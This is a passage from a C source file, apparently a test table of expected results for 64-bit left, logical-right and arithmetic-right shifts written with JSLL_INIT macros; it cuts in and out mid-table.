0x00000000, 0x002bcc16 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x70b8ea10, 0x00000000 ), // shift left 35 JSLL_INIT( 0x00000000, 0x0015e60b ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0015e60b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe171d420, 0x00000000 ), // shift left 36 JSLL_INIT( 0x00000000, 0x000af305 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000af305 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc2e3a840, 0x00000000 ), // shift left 37 JSLL_INIT( 0x00000000, 0x00057982 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00057982 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x85c75080, 0x00000000 ), // shift left 38 JSLL_INIT( 0x00000000, 0x0002bcc1 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0002bcc1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0b8ea100, 0x00000000 ), // shift left 39 JSLL_INIT( 0x00000000, 0x00015e60 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00015e60 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x171d4200, 0x00000000 ), // shift left 40 JSLL_INIT( 0x00000000, 0x0000af30 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000af30 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x2e3a8400, 0x00000000 ), // shift left 41 JSLL_INIT( 0x00000000, 0x00005798 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00005798 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5c750800, 0x00000000 ), // shift left 42 JSLL_INIT( 0x00000000, 0x00002bcc ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00002bcc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb8ea1000, 0x00000000 ), // shift left 43 JSLL_INIT( 0x00000000, 0x000015e6 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000015e6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x71d42000, 0x00000000 ), // shift left 44 JSLL_INIT( 0x00000000, 0x00000af3 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000af3 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe3a84000, 0x00000000 ), // shift left 45 JSLL_INIT( 0x00000000, 0x00000579 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000579 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc7508000, 0x00000000 ), // shift left 46 JSLL_INIT( 0x00000000, 0x000002bc ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000002bc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8ea10000, 0x00000000 ), // shift left 47 JSLL_INIT( 0x00000000, 0x0000015e ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000015e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1d420000, 0x00000000 ), // shift left 48 JSLL_INIT( 0x00000000, 0x000000af ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000000af ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3a840000, 0x00000000 ), // shift left 49 JSLL_INIT( 0x00000000, 0x00000057 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000057 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x75080000, 0x00000000 ), // shift left 50 JSLL_INIT( 0x00000000, 0x0000002b ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000002b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xea100000, 0x00000000 ), // shift left 51 JSLL_INIT( 0x00000000, 0x00000015 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000015 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd4200000, 0x00000000 ), // shift left 52 JSLL_INIT( 0x00000000, 0x0000000a ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000000a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa8400000, 0x00000000 ), // shift left 53 JSLL_INIT( 0x00000000, 0x00000005 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000005 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x50800000, 0x00000000 ), // shift left 54 JSLL_INIT( 0x00000000, 0x00000002 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000002 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa1000000, 0x00000000 ), // shift left 55 JSLL_INIT( 0x00000000, 0x00000001 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000001 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x42000000, 0x00000000 ), // shift left 56 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x84000000, 0x00000000 ), // shift left 57 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x08000000, 0x00000000 ), // shift left 58 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x10000000, 0x00000000 ), // shift left 59 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x20000000, 0x00000000 ), // shift left 60 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x40000000, 0x00000000 ), // shift left 61 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x80000000, 0x00000000 ), // shift left 62 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x00000000, 0x00000000 ), // shift left 63 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, }, }, { JSLL_INIT( 0x998ae86b, 0x27311fa3 ), // record 1 { { JSLL_INIT( 0x3315d0d6, 0x4e623f46 ), // shift left 1 JSLL_INIT( 0x4cc57435, 0x93988fd1 ), // shift right (logical/unsigned) JSLL_INIT( 0xccc57435, 0x93988fd1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x662ba1ac, 0x9cc47e8c ), // shift left 2 JSLL_INIT( 0x2662ba1a, 0xc9cc47e8 ), // shift right (logical/unsigned) JSLL_INIT( 0xe662ba1a, 0xc9cc47e8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xcc574359, 0x3988fd18 ), // shift left 3 JSLL_INIT( 0x13315d0d, 0x64e623f4 ), // shift right (logical/unsigned) JSLL_INIT( 0xf3315d0d, 0x64e623f4 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x98ae86b2, 0x7311fa30 ), // shift left 4 JSLL_INIT( 0x0998ae86, 0xb27311fa ), // shift right (logical/unsigned) JSLL_INIT( 0xf998ae86, 0xb27311fa ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x315d0d64, 0xe623f460 ), // shift left 5 JSLL_INIT( 0x04cc5743, 0x593988fd ), // shift right (logical/unsigned) JSLL_INIT( 0xfccc5743, 0x593988fd ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x62ba1ac9, 0xcc47e8c0 ), // shift left 6 JSLL_INIT( 0x02662ba1, 0xac9cc47e ), // shift right (logical/unsigned) JSLL_INIT( 0xfe662ba1, 0xac9cc47e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc5743593, 0x988fd180 ), // shift left 7 JSLL_INIT( 0x013315d0, 0xd64e623f ), // shift right (logical/unsigned) JSLL_INIT( 0xff3315d0, 0xd64e623f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8ae86b27, 0x311fa300 ), // shift left 8 JSLL_INIT( 0x00998ae8, 0x6b27311f ), // shift right (logical/unsigned) JSLL_INIT( 0xff998ae8, 0x6b27311f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x15d0d64e, 0x623f4600 ), // shift left 9 JSLL_INIT( 0x004cc574, 0x3593988f ), // shift right (logical/unsigned) JSLL_INIT( 0xffccc574, 0x3593988f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x2ba1ac9c, 0xc47e8c00 ), // shift left 10 JSLL_INIT( 0x002662ba, 0x1ac9cc47 ), // shift right (logical/unsigned) JSLL_INIT( 0xffe662ba, 0x1ac9cc47 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x57435939, 0x88fd1800 ), // shift left 11 JSLL_INIT( 0x0013315d, 0x0d64e623 ), // shift right (logical/unsigned) JSLL_INIT( 0xfff3315d, 0x0d64e623 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xae86b273, 0x11fa3000 ), // shift left 12 JSLL_INIT( 0x000998ae, 0x86b27311 ), // shift right (logical/unsigned) JSLL_INIT( 0xfff998ae, 0x86b27311 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5d0d64e6, 0x23f46000 ), // shift left 13 JSLL_INIT( 0x0004cc57, 0x43593988 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffccc57, 0x43593988 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xba1ac9cc, 0x47e8c000 ), // shift left 14 JSLL_INIT( 0x0002662b, 0xa1ac9cc4 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffe662b, 0xa1ac9cc4 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x74359398, 0x8fd18000 ), // shift left 15 JSLL_INIT( 0x00013315, 0xd0d64e62 ), // shift right (logical/unsigned) JSLL_INIT( 0xffff3315, 0xd0d64e62 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe86b2731, 0x1fa30000 ), // shift left 16 JSLL_INIT( 0x0000998a, 0xe86b2731 ), // shift right (logical/unsigned) JSLL_INIT( 0xffff998a, 0xe86b2731 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd0d64e62, 0x3f460000 ), // shift left 17 JSLL_INIT( 0x00004cc5, 0x74359398 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffccc5, 0x74359398 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa1ac9cc4, 0x7e8c0000 ), // shift left 18 JSLL_INIT( 0x00002662, 0xba1ac9cc ), // shift right (logical/unsigned) JSLL_INIT( 0xffffe662, 0xba1ac9cc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x43593988, 0xfd180000 ), // shift left 19 JSLL_INIT( 0x00001331, 0x5d0d64e6 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffff331, 0x5d0d64e6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x86b27311, 0xfa300000 ), // shift left 20 JSLL_INIT( 0x00000998, 0xae86b273 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffff998, 0xae86b273 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0d64e623, 0xf4600000 ), // shift left 21 JSLL_INIT( 0x000004cc, 0x57435939 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffccc, 0x57435939 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1ac9cc47, 0xe8c00000 ), // shift left 22 JSLL_INIT( 0x00000266, 0x2ba1ac9c ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffe66, 0x2ba1ac9c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3593988f, 0xd1800000 ), // shift left 23 JSLL_INIT( 0x00000133, 0x15d0d64e ), // shift right (logical/unsigned) JSLL_INIT( 0xffffff33, 0x15d0d64e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x6b27311f, 0xa3000000 ), // shift left 24 JSLL_INIT( 0x00000099, 0x8ae86b27 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffff99, 0x8ae86b27 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd64e623f, 0x46000000 ), // shift left 25 JSLL_INIT( 0x0000004c, 0xc5743593 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffcc, 0xc5743593 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xac9cc47e, 0x8c000000 ), // shift left 26 JSLL_INIT( 0x00000026, 0x62ba1ac9 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffe6, 0x62ba1ac9 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x593988fd, 0x18000000 ), // shift left 27 JSLL_INIT( 0x00000013, 0x315d0d64 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffff3, 0x315d0d64 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb27311fa, 0x30000000 ), // shift left 28 JSLL_INIT( 0x00000009, 0x98ae86b2 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffff9, 0x98ae86b2 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x64e623f4, 0x60000000 ), // shift left 29 JSLL_INIT( 0x00000004, 0xcc574359 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffffc, 0xcc574359 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc9cc47e8, 0xc0000000 ), // shift left 30 JSLL_INIT( 0x00000002, 0x662ba1ac ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffffe, 0x662ba1ac ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x93988fd1, 0x80000000 ), // shift left 31 JSLL_INIT( 0x00000001, 0x3315d0d6 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0x3315d0d6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x27311fa3, 0x00000000 ), // shift left 32 JSLL_INIT( 0x00000000, 0x998ae86b ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0x998ae86b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x4e623f46, 0x00000000 ), // shift left 33 JSLL_INIT( 0x00000000, 0x4cc57435 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xccc57435 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x9cc47e8c, 0x00000000 ), // shift left 34 JSLL_INIT( 0x00000000, 0x2662ba1a ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xe662ba1a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3988fd18, 0x00000000 ), // shift left 35 JSLL_INIT( 0x00000000, 0x13315d0d ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xf3315d0d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x7311fa30, 0x00000000 ), // shift left 36 JSLL_INIT( 0x00000000, 0x0998ae86 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xf998ae86 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe623f460, 0x00000000 ), // shift left 37 JSLL_INIT( 0x00000000, 0x04cc5743 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfccc5743 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xcc47e8c0, 0x00000000 ), // shift left 38 JSLL_INIT( 0x00000000, 0x02662ba1 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfe662ba1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x988fd180, 0x00000000 ), // shift left 39 JSLL_INIT( 0x00000000, 0x013315d0 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xff3315d0 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x311fa300, 0x00000000 ), // shift left 40 JSLL_INIT( 0x00000000, 0x00998ae8 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xff998ae8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x623f4600, 0x00000000 ), // shift left 41 JSLL_INIT( 0x00000000, 0x004cc574 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffccc574 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc47e8c00, 0x00000000 ), // shift left 42 JSLL_INIT( 0x00000000, 0x002662ba ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffe662ba ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x88fd1800, 0x00000000 ), // shift left 43 JSLL_INIT( 0x00000000, 0x0013315d ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfff3315d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x11fa3000, 0x00000000 ), // shift left 44 JSLL_INIT( 0x00000000, 0x000998ae ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfff998ae ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x23f46000, 0x00000000 ), // shift left 45 JSLL_INIT( 0x00000000, 0x0004cc57 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffccc57 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x47e8c000, 0x00000000 ), // shift left 46 JSLL_INIT( 0x00000000, 0x0002662b ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffe662b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8fd18000, 0x00000000 ), // shift left 47 JSLL_INIT( 0x00000000, 0x00013315 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffff3315 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1fa30000, 0x00000000 ), // shift left 48 JSLL_INIT( 0x00000000, 0x0000998a ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffff998a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3f460000, 0x00000000 ), // shift left 49 JSLL_INIT( 0x00000000, 0x00004cc5 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffccc5 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x7e8c0000, 0x00000000 ), // shift left 50 JSLL_INIT( 0x00000000, 0x00002662 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffe662 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xfd180000, 0x00000000 ), // shift left 51 JSLL_INIT( 0x00000000, 0x00001331 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffff331 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xfa300000, 0x00000000 ), // shift left 52 JSLL_INIT( 0x00000000, 0x00000998 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffff998 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xf4600000, 0x00000000 ), // shift left 53 JSLL_INIT( 0x00000000, 0x000004cc ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffccc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe8c00000, 0x00000000 ), // shift left 54 JSLL_INIT( 0x00000000, 0x00000266 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffe66 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd1800000, 0x00000000 ), // shift left 55 JSLL_INIT( 0x00000000, 0x00000133 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffff33 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa3000000, 0x00000000 ), // shift left 56 JSLL_INIT( 0x00000000, 0x00000099 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffff99 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x46000000, 0x00000000 ), // shift left 57 JSLL_INIT( 0x00000000, 0x0000004c ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffcc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8c000000, 0x00000000 ), // shift left 58 JSLL_INIT( 0x00000000, 0x00000026 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffe6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x18000000, 0x00000000 ), // shift left 59 JSLL_INIT( 0x00000000, 0x00000013 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffff3 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x30000000, 0x00000000 ), // shift left 60 JSLL_INIT( 0x00000000, 0x00000009 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffff9 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x60000000, 0x00000000 ), // shift left 61 JSLL_INIT( 0x00000000, 0x00000004 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffffc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc0000000, 0x00000000 ), // shift left 62 JSLL_INIT( 0x00000000, 0x00000002 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffffe ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x80000000, 0x00000000 ), // shift left 63 JSLL_INIT( 0x00000000, 0x00000001 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffff ) // shift right (arithmetic/signed) }, }, }, { JSLL_INIT( 0x03637fad, 0x51008073 ), // record 2 { { JSLL_INIT( 0x06c6ff5a, 0xa20100e6 ), // shift left 1 JSLL_INIT( 0x01b1bfd6, 0xa8804039 ), // shift right (logical/unsigned) JSLL_INIT( 0x01b1bfd6, 0xa8804039 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0d8dfeb5, 0x440201cc ), // shift left 2 JSLL_INIT( 0x00d8dfeb, 0x5440201c ), // shift right (logical/unsigned) JSLL_INIT( 0x00d8dfeb, 0x5440201c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1b1bfd6a, 0x88040398 ), // shift left 3 JSLL_INIT( 0x006c6ff5, 0xaa20100e ), // shift right (logical/unsigned) JSLL_INIT( 0x006c6ff5, 0xaa20100e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3637fad5, 0x10080730 ), // shift left 4 JSLL_INIT( 0x003637fa, 0xd5100807 ), // shift right (logical/unsigned) JSLL_INIT( 0x003637fa, 0xd5100807 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x6c6ff5aa, 0x20100e60 ), // shift left 5 JSLL_INIT( 0x001b1bfd, 0x6a880403 ), // shift right (logical/unsigned) JSLL_INIT( 0x001b1bfd, 0x6a880403 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd8dfeb54, 0x40201cc0 ), // shift left 6 JSLL_INIT( 0x000d8dfe, 0xb5440201 ), // shift right (logical/unsigned) JSLL_INIT( 0x000d8dfe, 0xb5440201 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb1bfd6a8, 0x80403980 ), // shift left 7 JSLL_INIT( 0x0006c6ff, 0x5aa20100 ), // shift right (logical/unsigned) JSLL_INIT( 0x0006c6ff, 0x5aa20100 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x637fad51, 0x00807300 ), // shift left 8 JSLL_INIT( 0x0003637f, 0xad510080 ), // shift right (logical/unsigned) JSLL_INIT( 0x0003637f, 0xad510080 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc6ff5aa2, 0x0100e600 ), // shift left 9 JSLL_INIT( 0x0001b1bf, 0xd6a88040 ), // shift right (logical/unsigned) JSLL_INIT( 0x0001b1bf, 0xd6a88040 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8dfeb544, 0x0201cc00 ), // shift left 10 JSLL_INIT( 0x0000d8df, 0xeb544020 ), // shift right (logical/unsigned) JSLL_INIT( 0x0000d8df, 0xeb544020 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1bfd6a88, 0x04039800 ), // shift left 11 JSLL_INIT( 0x00006c6f, 0xf5aa2010 ), // shift right (logical/unsigned) JSLL_INIT( 0x00006c6f, 0xf5aa2010 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x37fad510, 0x08073000 ), // shift left 12 JSLL_INIT( 0x00003637, 0xfad51008 ), // shift right (logical/unsigned) JSLL_INIT( 0x00003637, 0xfad51008 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x6ff5aa20, 0x100e6000 ), // shift left 13 JSLL_INIT( 0x00001b1b, 0xfd6a8804 ), // shift right (logical/unsigned) JSLL_INIT( 0x00001b1b, 0xfd6a8804 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xdfeb5440, 0x201cc000 ), // shift left 14 JSLL_INIT( 0x00000d8d, 0xfeb54402 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000d8d, 0xfeb54402 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xbfd6a880, 0x40398000 ), // shift left 15 JSLL_INIT( 0x000006c6, 0xff5aa201 ), // shift right (logical/unsigned) JSLL_INIT( 0x000006c6, 0xff5aa201 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x7fad5100, 0x80730000 ), // shift left 16 JSLL_INIT( 0x00000363, 0x7fad5100 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000363, 0x7fad5100 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xff5aa201, 0x00e60000 ), // shift left 17 JSLL_INIT( 0x000001b1, 0xbfd6a880 ), // shift right (logical/unsigned) JSLL_INIT( 0x000001b1, 0xbfd6a880 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xfeb54402, 0x01cc0000 ), // shift left 18 JSLL_INIT( 0x000000d8, 0xdfeb5440 ), // shift right (logical/unsigned) JSLL_INIT( 0x000000d8, 0xdfeb5440 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xfd6a8804, 0x03980000 ), // shift left 19 JSLL_INIT( 0x0000006c, 0x6ff5aa20 ), // shift right (logical/unsigned) JSLL_INIT( 0x0000006c, 0x6ff5aa20 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xfad51008, 0x07300000 ), // shift left 20 JSLL_INIT( 0x00000036, 0x37fad510 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000036, 0x37fad510 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xf5aa2010, 0x0e600000 ), // shift left 21 JSLL_INIT( 0x0000001b, 0x1bfd6a88 ), // shift right (logical/unsigned) JSLL_INIT( 0x0000001b, 0x1bfd6a88 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xeb544020, 0x1cc00000 ), // shift left 22 JSLL_INIT( 0x0000000d, 0x8dfeb544 ), // shift right (logical/unsigned) JSLL_INIT( 0x0000000d, 0x8dfeb544 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd6a88040, 0x39800000 ), // shift left 23 JSLL_INIT( 0x00000006, 0xc6ff5aa2 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000006, 0xc6ff5aa2 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xad510080, 0x73000000 ), // shift left 24 JSLL_INIT( 0x00000003, 0x637fad51 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000003, 0x637fad51 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5aa20100, 0xe6000000 ), // shift left 25 JSLL_INIT( 0x00000001, 0xb1bfd6a8 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000001, 0xb1bfd6a8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb5440201, 0xcc000000 ), // shift left 26 JSLL_INIT( 0x00000000, 0xd8dfeb54 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0xd8dfeb54 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x6a880403, 0x98000000 ), // shift left 27 JSLL_INIT( 0x00000000, 0x6c6ff5aa ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x6c6ff5aa ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd5100807, 0x30000000 ), // shift left 28 JSLL_INIT( 0x00000000, 0x3637fad5 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x3637fad5 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xaa20100e, 0x60000000 ), // shift left 29 JSLL_INIT( 0x00000000, 0x1b1bfd6a ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x1b1bfd6a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5440201c, 0xc0000000 ), // shift left 30 JSLL_INIT( 0x00000000, 0x0d8dfeb5 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0d8dfeb5 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa8804039, 0x80000000 ), // shift left 31 JSLL_INIT( 0x00000000, 0x06c6ff5a ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x06c6ff5a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x51008073, 0x00000000 ), // shift left 32 JSLL_INIT( 0x00000000, 0x03637fad ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x03637fad ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa20100e6, 0x00000000 ), // shift left 33 JSLL_INIT( 0x00000000, 0x01b1bfd6 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x01b1bfd6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x440201cc, 0x00000000 ), // shift left 34 